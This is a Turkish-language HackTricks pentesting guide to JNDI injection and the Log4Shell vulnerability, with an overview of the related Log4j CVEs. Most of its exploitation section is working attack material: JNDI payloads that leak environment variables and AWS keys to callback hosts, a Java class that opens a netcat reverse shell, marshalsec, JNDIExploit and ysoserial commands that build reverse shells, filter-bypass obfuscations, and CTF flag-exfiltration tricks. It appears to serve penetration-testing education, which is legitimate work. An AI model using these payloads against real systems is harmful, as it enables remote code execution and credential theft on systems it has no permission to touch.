JNDI - Java Naming and Directory Interface & Log4Shell

Reading time: 19 minutes

tip

AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks'i Destekleyin

Temel Bilgiler

JNDI, 1990'ların sonlarından beri Java'ya entegre edilmiş bir dizin hizmetidir ve Java programlarının bir adlandırma sistemi aracılığıyla veri veya nesneleri bulmasını sağlar. Farklı sistemlerden veri alımını sağlayan hizmet sağlayıcı arayüzleri (SPI'ler) aracılığıyla çeşitli dizin hizmetlerini destekler, uzaktaki Java nesneleri de dahil. Yaygın SPI'ler arasında CORBA COS, Java RMI Registry ve LDAP bulunmaktadır.

JNDI Adlandırma Referansı

Java nesneleri, iki biçimde gelen JNDI Adlandırma Referansları kullanılarak saklanabilir ve alınabilir:

  • Referans Adresleri: Bir nesnenin konumunu belirtir (örneğin, rmi://server/ref), belirtilen adresten doğrudan alım yapılmasına olanak tanır.
  • Uzaktan Fabrika: Bir uzaktan fabrika sınıfına referans verir. Erişim sağlandığında, sınıf uzaktan indirilir ve örneklendirilir.

Ancak, bu mekanizma istismar edilebilir ve potansiyel olarak keyfi kodun yüklenmesine ve çalıştırılmasına yol açabilir. Bir karşı önlem olarak:

  • RMI: JDK 7u21'den itibaren varsayılan olarak java.rmi.server.useCodeabseOnly = true, uzaktan nesne yüklemeyi kısıtlar. Bir Güvenlik Yöneticisi, yüklenebilecekleri daha da sınırlar.
  • LDAP: JDK 6u141, 7u131, 8u121'den itibaren varsayılan olarak com.sun.jndi.ldap.object.trustURLCodebase = false, uzaktan yüklenen Java nesnelerinin çalıştırılmasını engeller. true olarak ayarlandığında, uzaktan kod çalıştırma, bir Güvenlik Yöneticisi'nin denetimi olmadan mümkündür.
  • CORBA: Belirli bir özelliğe sahip değildir, ancak Güvenlik Yöneticisi her zaman aktiftir.

Ancak, JNDI bağlantılarını çözmekten sorumlu olan Adlandırma Yöneticisi, yerleşik güvenlik mekanizmalarına sahip değildir ve bu da herhangi bir kaynaktan nesnelerin alınmasına olanak tanıyabilir. Bu, RMI, LDAP ve CORBA korumalarının aşılabileceği ve keyfi Java nesnelerinin yüklenmesine veya mevcut uygulama bileşenlerinin (gadgets) istismar edilmesine yol açabilir.

İstismar edilebilir URL örnekleri şunlardır:

  • rmi://attacker-server/bar
  • ldap://attacker-server/bar
  • iiop://attacker-server/bar

Koruma olmasına rağmen, JNDI'nin güvensiz kaynaklardan yüklenmesine karşı koruma eksikliği ve mevcut korumaların aşılma olasılığı nedeniyle açıklar devam etmektedir.

JNDI Örneği

Bir PROVIDER_URL ayarlamış olsanız bile, bir arama sırasında farklı birini belirtebilir ve erişim sağlanabilir: ctx.lookup("<attacker-controlled-url>") ve bu, bir saldırganın kendisinin kontrol ettiği bir sistemden keyfi nesneleri yüklemek için istismar edeceği şeydir.

CORBA Genel Bakış

CORBA (Common Object Request Broker Architecture), uzaktaki nesneleri benzersiz bir şekilde tanımlamak için bir Interoperable Object Reference (IOR) kullanır. Bu referans, aşağıdaki gibi temel bilgileri içerir:

  • Tip Kimliği: Bir arayüz için benzersiz tanımlayıcı.
  • Kod Tabanı: Stub sınıfını elde etmek için URL.

Özellikle, CORBA doğası gereği savunmasız değildir. Güvenliği sağlamak genellikle şunları içerir:

  • Bir Güvenlik Yöneticisi kurulumu.
  • Güvenlik Yöneticisi'nin potansiyel olarak kötü niyetli kod tabanlarına bağlantılara izin verecek şekilde yapılandırılması. Bu, aşağıdaki gibi gerçekleştirilebilir:
  • Soket izni, örneğin, permissions java.net.SocketPermission "*:1098-1099", "connect";.
  • Kötü niyetli dosyaların yerleştirilebileceği belirli dizinler için evrensel (permission java.io.FilePermission "<<ALL FILES>>", "read";) veya dosya okuma izinleri.

Ancak, bazı satıcı politikaları varsayılan olarak bu bağlantılara izin verebilir.

RMI Bağlamı

RMI (Remote Method Invocation) için durum biraz farklıdır. CORBA'da olduğu gibi, keyfi sınıf indirme varsayılan olarak kısıtlanmıştır. RMI'yi istismar etmek için genellikle Güvenlik Yöneticisi'ni aşmak gerekir; bu, CORBA'da da geçerlidir.

LDAP

Öncelikle, bir Arama ile bir Lookup arasında ayrım yapmamız gerekiyor.
Bir arama, ldap://localhost:389/o=JNDITutorial gibi bir URL kullanarak LDAP sunucusundan JNDITutorial nesnesini bulacak ve özelliklerini alacaktır.
Bir lookup, bir isme bağlı olan her şeyi almak için adlandırma hizmetleri içindir.

Eğer LDAP araması SearchControls.setReturningObjFlag() ile true olarak çağrıldıysa, döndürülen nesne yeniden yapılandırılacaktır.

Bu nedenle, bu seçenekleri saldırmak için birkaç yol vardır.
Bir saldırgan, sistemlerin topladığı kayıtlara yükler ekleyerek LDAP kayıtlarını zehirleyebilir (LDAP sunucusuna erişiminiz varsa onlarca makineyi tehlikeye atmak için çok faydalıdır). Bunu istismar etmenin bir diğer yolu, örneğin bir LDAP aramasında MitM saldırısı gerçekleştirmektir.

Eğer bir uygulamanın bir JNDI LDAP URL'sini çözmesini sağlayabilirseniz, arama yapılacak LDAP'ı kontrol edebilir ve istismarı geri gönderebilirsiniz (log4shell).

Deserialization istismarı

istismar serileştirilmiştir ve yeniden serileştirilecektir.
Eğer trustURLCodebase true ise, bir saldırgan kendi sınıflarını kod tabanında sağlayabilir; aksi takdirde, sınıf yolundaki gadget'ları istismar etmesi gerekecektir.

JNDI Referans istismarı

Bu LDAP'ı JavaFactory referansları kullanarak saldırmak daha kolaydır:

Log4Shell Açığı

Açık, Log4j'de, ${prefix:name} biçiminde bir özel sözdizimi desteklediği için ortaya çıkmaktadır; burada prefix, değerlendirilecek farklı Lookups arasında bir tanesidir. Örneğin, ${java:version} mevcut çalışan Java sürümüdür.

LOG4J2-313 bir jndi Lookup özelliği tanıttı. Bu özellik, JNDI aracılığıyla değişkenlerin alınmasını sağlar. Genellikle, anahtar otomatik olarak java:comp/env/ ile ön eklenir. Ancak, anahtarın kendisi ":" içeriyorsa, bu varsayılan ön ek uygulanmaz.

Anahtar içinde : mevcut olduğunda, ${jndi:ldap://example.com/a} gibi, hiçbir ön ek yoktur ve LDAP sunucusu nesne için sorgulanır. Bu Lookuplar, hem Log4j yapılandırmasında hem de satırlar kaydedilirken kullanılabilir.

Bu nedenle, RCE elde etmek için gereken tek şey, kullanıcı tarafından kontrol edilen bilgileri işleyen savunmasız bir Log4j sürümüdür. Ve bu, Java uygulamaları tarafından bilgi kaydetmek için yaygın olarak kullanılan bir kütüphane olduğundan (internetle yüzleşen uygulamalar dahil), örneğin alınan HTTP başlıkları gibi log4j kaydı yapmak oldukça yaygındır. Ancak, log4j yalnızca HTTP bilgilerini değil, geliştiricinin belirttiği herhangi bir girdi ve veriyi kaydetmek için kullanılmamaktadır.

Log4Shell ile İlgili CVE'lerin Genel Görünümü

CVE-2021-44228 [Kritik]

Bu açık, log4j-core bileşeninde kritik bir güvensiz serileştirme hatasıdır, 2.0-beta9'dan 2.14.1'e kadar olan sürümleri etkilemektedir. uzaktan kod çalıştırma (RCE) olanağı tanır ve saldırganların sistemleri ele geçirmesine olanak sağlar. Sorun, Alibaba Cloud Güvenlik Ekibi'nden Chen Zhaojun tarafından rapor edilmiştir ve çeşitli Apache çerçevelerini etkilemektedir. 2.15.0 sürümündeki ilk düzeltme eksikti. Savunma için Sigma kuralları mevcuttur (Kural 1, Kural 2).

CVE-2021-45046 [Kritik]

Başlangıçta düşük derecelendirilmiş ancak daha sonra kritik olarak yükseltilmiş olan bu CVE, CVE-2021-44228 için 2.15.0'daki eksik bir düzeltmeden kaynaklanan bir Hizmet Reddi (DoS) hatasıdır. Varsayılan olmayan yapılandırmaları etkilemekte ve saldırganların hazırlanmış yükler aracılığıyla DoS saldırıları gerçekleştirmesine olanak tanımaktadır. Bir tweet bir atlatma yöntemini göstermektedir. Sorun, 2.16.0 ve 2.12.2 sürümlerinde mesaj arama desenlerinin kaldırılması ve JNDI'nin varsayılan olarak devre dışı bırakılmasıyla çözülmüştür.

CVE-2021-4104 [Yüksek]

Log4j 1.x sürümlerini etkilemekte olan bu CVE, JMSAppender kullanan varsayılan olmayan yapılandırmalarda bir güvensiz serileştirme hatasıdır. 1.x dalı için bir düzeltme mevcut değildir ve log4j-core 2.17.0 sürümüne yükseltilmesi önerilmektedir.

CVE-2021-42550 [Orta]

Bu açık, Log4j 1.x'in halefidir olan Logback kayıt çerçevesini etkilemektedir. Daha önce güvenli olduğu düşünülen çerçeve, savunmasız olduğu bulunmuş ve sorunu gidermek için daha yeni sürümler (1.3.0-alpha11 ve 1.2.9) yayımlanmıştır.

CVE-2021-45105 [Yüksek]

Log4j 2.16.0, bir DoS hatası içermekte olup, CVE'yi düzeltmek için log4j 2.17.0 sürümü yayımlanmıştır. Daha fazla ayrıntı BleepingComputer'ın raporunda bulunmaktadır.

CVE-2021-44832

Log4j 2.17 sürümünü etkileyen bu CVE, saldırganın log4j'nin yapılandırma dosyasını kontrol etmesini gerektirir. Yapılandırılmış bir JDBCAppender aracılığıyla potansiyel keyfi kod çalıştırma ile ilgilidir. Daha fazla ayrıntı Checkmarx blog yazısında mevcuttur.

Log4Shell İstismarı

Keşif

Bu açık, korunmasızsa keşfedilmesi çok kolaydır çünkü en az bir DNS isteği belirttiğiniz adrese gönderilecektir. Bu nedenle, aşağıdaki gibi yükler:

  • ${jndi:ldap://x${hostName}.L4J.lt4aev8pktxcq2qlpdr5qu5ya.canarytokens.com/a} (using canarytokens.com)
  • ${jndi:ldap://c72gqsaum5n94mgp67m0c8no4hoyyyyyn.interact.sh} (using interactsh)
  • ${jndi:ldap://abpb84w6lqp66p0ylo715m5osfy5mu.burpcollaborator.net} (using Burp Suite)
  • ${jndi:ldap://2j4ayo.dnslog.cn} (using dnslog)
  • ${jndi:ldap://log4shell.huntress.com:1389/hostname=${env:HOSTNAME}/fe47f5ee-efd7-42ee-9897-22d18976c520} using (using huntress)

Unutmayın ki bir DNS isteği alınması, uygulamanın istismar edilebilir olduğu anlamına gelmez (veya hatta savunmasız olduğu), bunu istismar etmeyi denemeniz gerekecektir.

note

2.15 sürümünü istismar etmek için localhost kontrol atlatmasını eklemeyi unutmayın: ${jndi:ldap://127.0.0.1#...}

Yerel Keşif

Kütüphanenin yerel savunmasız sürümlerini arayın:

bash
find / -name "log4j-core*.jar" 2>/dev/null | grep -E "log4j\-core\-(1\.[^0]|2\.[0-9][^0-9]|2\.1[0-6])"

Doğrulama

Daha önce listelenen bazı platformlar, talep edildiğinde kaydedilecek bazı değişken verileri eklemenize izin verecektir.
Bu, 2 şey için çok faydalı olabilir:

  • Açığı doğrulamak için
  • Açığı istismar ederek bilgi sızdırmak için

Örneğin, şöyle bir şey talep edebilirsiniz:
veya ${jndi:ldap://jv-${sys:java.version}-hn-${hostName}.ei4frk.dnslog.cn/a} gibi ve eğer env değişkeninin değeri ile bir DNS isteği alınırsa, uygulamanın açık olduğunu bilirsiniz.

Denemek isteyebileceğiniz diğer bilgiler:

${env:AWS_ACCESS_KEY_ID}
${env:AWS_CONFIG_FILE}
${env:AWS_PROFILE}
${env:AWS_SECRET_ACCESS_KEY}
${env:AWS_SESSION_TOKEN}
${env:AWS_SHARED_CREDENTIALS_FILE}
${env:AWS_WEB_IDENTITY_TOKEN_FILE}
${env:HOSTNAME}
${env:JAVA_VERSION}
${env:PATH}
${env:USER}
${hostName}
${java.vendor}
${java:os}
${java:version}
${log4j:configParentLocation}
${sys:PROJECT_HOME}
${sys:file.separator}
${sys:java.class.path}
${sys:java.class.path}
${sys:java.class.version}
${sys:java.compiler}
${sys:java.ext.dirs}
${sys:java.home}
${sys:java.io.tmpdir}
${sys:java.library.path}
${sys:java.specification.name}
${sys:java.specification.vendor}
${sys:java.specification.version}
${sys:java.vendor.url}
${sys:java.vendor}
${sys:java.version}
${sys:java.vm.name}
${sys:java.vm.specification.name}
${sys:java.vm.specification.vendor}
${sys:java.vm.specification.version}
${sys:java.vm.vendor}
${sys:java.vm.version}
${sys:line.separator}
${sys:os.arch}
${sys:os.name}
${sys:os.version}
${sys:path.separator}
${sys:user.dir}
${sys:user.home}
${sys:user.name}

Any other env variable name that could store sensitive information

RCE Bilgisi

note

JDK sürümleri 6u141, 7u131 veya 8u121'in üzerinde çalışan ana makineler, LDAP sınıf yükleme saldırı vektörüne karşı korunmaktadır. Bu, com.sun.jndi.ldap.object.trustURLCodebase'in varsayılan olarak devre dışı bırakılmasından kaynaklanmaktadır; bu da JNDI'nin LDAP aracılığıyla uzaktan bir kod tabanı yüklemesini engeller. Ancak, bu sürümlerin deserialization saldırı vektörüne karşı korunmadığını belirtmek önemlidir.

Bu daha yüksek JDK sürümlerini istismar etmeyi hedefleyen saldırganlar için, Java uygulaması içinde bir güvenilir alet kullanmak gereklidir. Bu amaçla genellikle ysoserial veya JNDIExploit gibi araçlar kullanılır. Aksine, daha düşük JDK sürümlerini istismar etmek nispeten daha kolaydır çünkü bu sürümler, keyfi sınıfları yüklemek ve çalıştırmak için manipüle edilebilir.

Daha fazla bilgi için (RMI ve CORBA vektörleri üzerindeki sınırlamalar gibi) önceki JNDI İsimlendirme Referans bölümüne veya https://jfrog.com/blog/log4shell-0-day-vulnerability-all-you-need-to-know/ bakın.

RCE - Marshalsec ile özel yük

Bunu THM kutusunda test edebilirsiniz: https://tryhackme.com/room/solar

Aracı marshalsec kullanın (jar sürümü burada mevcuttur). Bu yaklaşım, bağlantıları istismar edilecek ikinci bir HTTP sunucusuna yönlendirmek için bir LDAP yönlendirme sunucusu kurar:

bash
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://<your_ip_http_server>:8000/#Exploit"

Hedefi bir ters shell kodu yüklemeye zorlamak için, aşağıdaki içeriğe sahip Exploit.java adında bir Java dosyası oluşturun:

java
public class Exploit {
static {
try {
java.lang.Runtime.getRuntime().exec("nc -e /bin/bash YOUR.ATTACKER.IP.ADDRESS 9999");
} catch (Exception e) {
e.printStackTrace();
}
}
}

Java dosyasını bir sınıf dosyasına derlemek için: javac Exploit.java -source 8 -target 8. Ardından, sınıf dosyasını içeren dizinde bir HTTP sunucusu başlatmak için: python3 -m http.server. marshalsec LDAP sunucası bu HTTP sunucusunu referans aldığından emin olun.

Hedef web sunucusunda istismar sınıfının çalıştırılmasını tetiklemek için aşağıdaki gibi bir yük gönderin:

bash
${jndi:ldap://<LDAP_IP>:1389/Exploit}

Not: Bu exploit, Java'nın LDAP üzerinden uzaktan kod tabanı yüklemeye izin veren yapılandırmasına dayanıyor. Eğer bu izin verilmiyorsa, rastgele kod yürütme için güvenilir bir sınıfı kullanmayı düşünün.

RCE - JNDIExploit

not

Yazarın log4shell keşfedildikten sonra bu projeyi github'dan kaldırdığına dikkat edin. https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JNDIExploit/releases/tag/v1.2 adresinde önbelleğe alınmış bir versiyonunu bulabilirsiniz, ancak yazarın kararına saygı göstermek istiyorsanız bu açığı kullanmak için farklı bir yöntem kullanın.

Ayrıca, kaynak kodunu wayback makinesinde bulamazsınız, bu yüzden ya kaynak kodunu analiz edin ya da neyi yürüttüğünüzü bilmeden jar dosyasını çalıştırın.

Bu örnek için, port 8080'de log4shell için bu savunmasız web sunucusunu çalıştırabilirsiniz: https://github.com/christophetd/log4shell-vulnerable-app (README'de nasıl çalıştırılacağını bulacaksınız). Bu savunmasız uygulama, HTTP istek başlığı X-Api-Version'ın içeriğini log4shell'in savunmasız bir versiyonu ile kaydediyor.

Ardından, JNDIExploit jar dosyasını indirip şu şekilde çalıştırabilirsiniz:

bash
wget https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JNDIExploit/releases/download/v1.2/JNDIExploit.v1.2.zip
unzip JNDIExploit.v1.2.zip
java -jar JNDIExploit-1.2-SNAPSHOT.jar -i 172.17.0.1 -p 8888 # Use your private IP address and a port where the victim will be able to access

Kodun sadece birkaç dakikasını okuduktan sonra, com.feihong.ldap.LdapServer ve com.feihong.ldap.HTTPServer içinde LDAP ve HTTP sunucularının nasıl oluşturulduğunu görebilirsiniz. LDAP sunucusu hangi yükün sunulması gerektiğini anlayacak ve kurbanı, istismarı sunacak olan HTTP sunucusuna yönlendirecektir.
com.feihong.ldap.gadgets içinde, istenen eylemi gerçekleştirmek için kullanılabilecek bazı özel aletler bulabilirsiniz (potansiyel olarak rastgele kod çalıştırmak). Ve com.feihong.ldap.template içinde, istismarları üretecek farklı şablon sınıflarını görebilirsiniz.

Tüm mevcut istismarları java -jar JNDIExploit-1.2-SNAPSHOT.jar -u ile görebilirsiniz. Bazı yararlı olanlar şunlardır:

bash
ldap://null:1389/Basic/Dnslog/[domain]
ldap://null:1389/Basic/Command/Base64/[base64_encoded_cmd]
ldap://null:1389/Basic/ReverseShell/[ip]/[port]
# But there are a lot more

Yani, örneğimizde, zaten o docker zayıf uygulamasını çalıştırıyoruz. Ona saldırmak için:

bash
# Create a file inside of th vulnerable host:
curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://172.17.0.1:1389/Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo=}'

# Get a reverse shell (only unix)
curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://172.17.0.1:1389/Basic/ReverseShell/172.17.0.1/4444}'
curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://172.17.0.1:1389/Basic/Command/Base64/bmMgMTcyLjE3LjAuMSA0NDQ0IC1lIC9iaW4vc2gK}'

Saldırıları gönderdiğinizde, JNDIExploit-1.2-SNAPSHOT.jar dosyasını çalıştırdığınız terminalde bazı çıktılar göreceksiniz.

Diğer istismar seçenekleri için java -jar JNDIExploit-1.2-SNAPSHOT.jar -u komutunu kontrol etmeyi unutmayın. Ayrıca, ihtiyacınız olursa LDAP ve HTTP sunucularının portunu değiştirebilirsiniz.

RCE - JNDI-Exploit-Kit

Önceki istismara benzer şekilde, bu güvenlik açığını istismar etmek için JNDI-Exploit-Kit kullanmayı deneyebilirsiniz.
Kurbanınıza göndermek için URL'leri oluşturmak üzere şu komutu çalıştırabilirsiniz:

bash
# Get reverse shell in port 4444 (only unix)
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 172.17.0.1:1389 -J 172.17.0.1:8888 -S 172.17.0.1:4444

# Execute command
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 172.17.0.1:1389 -J 172.17.0.1:8888 -C "touch /tmp/log4shell"

Bu saldırı, özel olarak üretilmiş bir java nesnesi kullanarak THM solar room gibi laboratuvarlarda çalışacaktır. Ancak, bu genellikle çalışmayacaktır (çünkü varsayılan olarak Java, LDAP kullanarak uzaktan kod tabanı yüklemek için yapılandırılmamıştır) bence çünkü rastgele kod yürütmek için güvenilir bir sınıfı istismar etmiyor.

RCE - JNDI-Injection-Exploit-Plus

https://github.com/cckuailong/JNDI-Injection-Exploit-Plus, çalışabilir JNDI bağlantıları oluşturmak ve RMI sunucusu, LDAP sunucusu ve HTTP sunucusu başlatarak arka plan hizmetleri sağlamak için başka bir araçtır.\

RCE - ysoserial & JNDI-Exploit-Kit

Bu seçenek, sadece belirli sınıflara güvenen ve herkese güvenmeyen Java sürümlerine saldırmak için gerçekten kullanışlıdır. Bu nedenle, ysoserial, rastgele kod yürütmek için kullanılabilecek güvenilir sınıfların serileştirmelerini oluşturmak için kullanılacaktır (ysoserial tarafından istismar edilen güvenilir sınıf, istifanın çalışması için kurban java programı tarafından kullanılmalıdır).

ysoserial veya ysoserial-modified kullanarak, JNDI tarafından indirilecek olan deserialization istismarını oluşturabilirsiniz:

bash
# Rev shell via CommonsCollections5
java -jar ysoserial-modified.jar CommonsCollections5 bash 'bash -i >& /dev/tcp/10.10.14.10/7878 0>&1' > /tmp/cc5.ser

JNDI-Exploit-Kit kullanarak, istismarların savunmasız makinelerden bağlantılar bekleyeceği JNDI bağlantıları oluşturun. JNDI-Exploit-Kit tarafından otomatik olarak oluşturulabilen farklı istismarları veya hatta kendi serileştirme yüklerinizi (sizin veya ysoserial tarafından oluşturulan) sunabilirsiniz.

bash
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 10.10.14.10:1389 -P /tmp/cc5.ser

Artık oluşturulmuş bir JNDI bağlantısını kullanarak açığı istismar edebilir ve bir reverse shell elde edebilirsiniz, sadece bunu log4j'nin savunmasız bir versiyonuna göndererek: ${ldap://10.10.14.10:1389/generated}

Bypass'ler

java
${${env:ENV_NAME:-j}ndi${env:ENV_NAME:-:}${env:ENV_NAME:-l}dap${env:ENV_NAME:-:}//attackerendpoint.com/}
${${lower:j}ndi:${lower:l}${lower:d}a${lower:p}://attackerendpoint.com/}
${${upper:j}ndi:${upper:l}${upper:d}a${lower:p}://attackerendpoint.com/}
${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://attackerendpoint.com/z}
${${env:BARFOO:-j}ndi${env:BARFOO:-:}${env:BARFOO:-l}dap${env:BARFOO:-:}//attackerendpoint.com/}
${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}://attackerendpoint.com/}
${${::-j}ndi:rmi://attackerendpoint.com/} //Notice the use of rmi
${${::-j}ndi:dns://attackerendpoint.com/} //Notice the use of dns
${${lower:jnd}${lower:${upper:ı}}:ldap://...} //Notice the unicode "i"

Otomatik Tarayıcılar

Test için Laboratuvarlar

Post-Log4Shell Sömürüsü

Bu CTF yazısı Log4J'nin bazı özelliklerinin istismar edilmesinin nasıl mümkün olduğunu iyi bir şekilde açıklamaktadır.

Log4j'nin güvenlik sayfası bazı ilginç cümleler içermektedir:

2.16.0 sürümünden itibaren (Java 8 için), mesaj arama özelliği tamamen kaldırılmıştır. Yapılandırmadaki aramalar hala çalışmaktadır. Ayrıca, Log4j artık varsayılan olarak JNDI erişimini devre dışı bırakmaktadır. Yapılandırmadaki JNDI aramaları artık açıkça etkinleştirilmelidir.

2.17.0 sürümünden itibaren (ve Java 7 ve Java 6 için 2.12.3 ve 2.3.1), yalnızca yapılandırmadaki arama dizeleri özyinelemeli olarak genişletilmektedir; başka bir kullanımda, yalnızca en üst düzey arama çözülmekte ve herhangi bir iç içe geçmiş arama çözülmemektedir.

Bu, varsayılan olarak herhangi bir jndi istismarını unutabileceğiniz anlamına gelir. Dahası, özyinelemeli aramalar gerçekleştirmek için bunları yapılandırmanız gerekmektedir.

Örneğin, bu CTF'de bu, log4j2.xml dosyasında yapılandırılmıştı:

xml
<Console name="Console" target="SYSTEM_ERR">
<PatternLayout pattern="%d{HH:mm:ss.SSS} %-5level %logger{36} executing ${sys:cmd} - %msg %n">
</PatternLayout>
</Console>

Env Lookups

Bu CTF 'de saldırgan ${sys:cmd} değerini kontrol ediyordu ve bir ortam değişkeninden bayrağı dışarı çıkarması gerekiyordu.
Bu sayfada önceki yükler içinde ortam değişkenlerine erişmenin farklı yolları vardır, örneğin: ${env:FLAG}. Bu CTF'de bu işe yaramadı ama diğer gerçek yaşam senaryolarında işe yarayabilir.

Exfiltration in Exceptions

CTF'de, log4J kullanan java uygulamasının stderr'ine erişemediniz, ancak Log4J istisnaları stdout'a gönderilir, bu da python uygulamasında yazdırıldığı anlamına gelir. Bu, bir istisna tetikleyerek içeriğe erişebileceğimiz anlamına geliyordu. Bayrağı dışarı çıkarmak için bir istisna: ${java:${env:FLAG}}. Bu, ${java:CTF{blahblah}} mevcut olmadığından ve bayrağın değeriyle bir istisna gösterileceğinden çalışır:

Conversion Patterns Exceptions

Sadece belirtmek gerekirse, yeni dönüşüm desenleri enjekte edebilir ve stdout'a kaydedilecek istisnaları tetikleyebilirsiniz. Örneğin:

Bu, hata mesajı içindeki verileri dışarı çıkarmak için faydalı bulunmadı, çünkü arama dönüşüm deseninden önce çözülmedi, ancak tespit gibi diğer şeyler için faydalı olabilir.

Conversion Patterns Regexes

Ancak, bazı regex'leri destekleyen dönüşüm desenlerini kullanarak bir aramadan bilgi dışarı çıkarmak mümkündür ve ikili arama veya zaman tabanlı davranışları kötüye kullanarak.

  • İstisna mesajları aracılığıyla ikili arama

Dönüşüm deseni %replace bir dize içindeki içeriği değiştirmek için regex'leri kullanarak kullanılabilir. Şöyle çalışır: replace{pattern}{regex}{substitution}
Bu davranışı kötüye kullanarak, regex bir şeyle eşleşirse bir istisna tetiklenmesini sağlayabilir (ve bulunmadığında istisna olmaz) şöyle:

bash
%replace{${env:FLAG}}{^CTF.*}{${error}}
# The string searched is the env FLAG, the regex searched is ^CTF.*
## and ONLY if it's found ${error} will be resolved with will trigger an exception
  • Zaman Tabanlı

Önceki bölümde belirtildiği gibi, %replace regex destekler. Bu nedenle, bayrağın bulunması durumunda bir timeout oluşturmak için ReDoS sayfasından payload kullanmak mümkündür.
Örneğin, %replace{${env:FLAG}}{^(?=CTF)((.))*salt$}{asd} gibi bir payload, o CTF'de bir timeout tetikleyecektir.

Bu yazıda, bir ReDoS saldırısı yerine bir amplification attack kullanılarak yanıtın zaman farkı oluşturması sağlanmıştır:

/%replace{
%replace{
%replace{
%replace{
%replace{
%replace{
%replace{${ENV:FLAG}}{CTF\{" + flagGuess + ".*\}}{#############################}
}{#}{######################################################}
}{#}{######################################################}
}{#}{######################################################}
}{#}{######################################################}
}{#}{######################################################}
}{#}{######################################################}
}{#}{######################################################}

Eğer bayrak flagGuess ile başlıyorsa, tüm bayrak 29 # ile değiştirilir (bu karakteri kullandım çünkü muhtemelen bayrağın bir parçası olmayacaktır). Sonuçta oluşan 29 #'ın her biri 54 # ile değiştirilir. Bu işlem 6 kez tekrarlanır ve toplamda 29*54*54^6* =`` ``96816014208 #!

Bu kadar çok # değiştirmek, Flask uygulamasının 10 saniyelik timeout'unu tetikleyecek ve bu da kullanıcının HTTP durum kodu 500 almasına neden olacaktır. (Eğer bayrak flagGuess ile başlamıyorsa, 500 olmayan bir durum kodu alacağız)

Referanslar

tip

AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks'i Destekleyin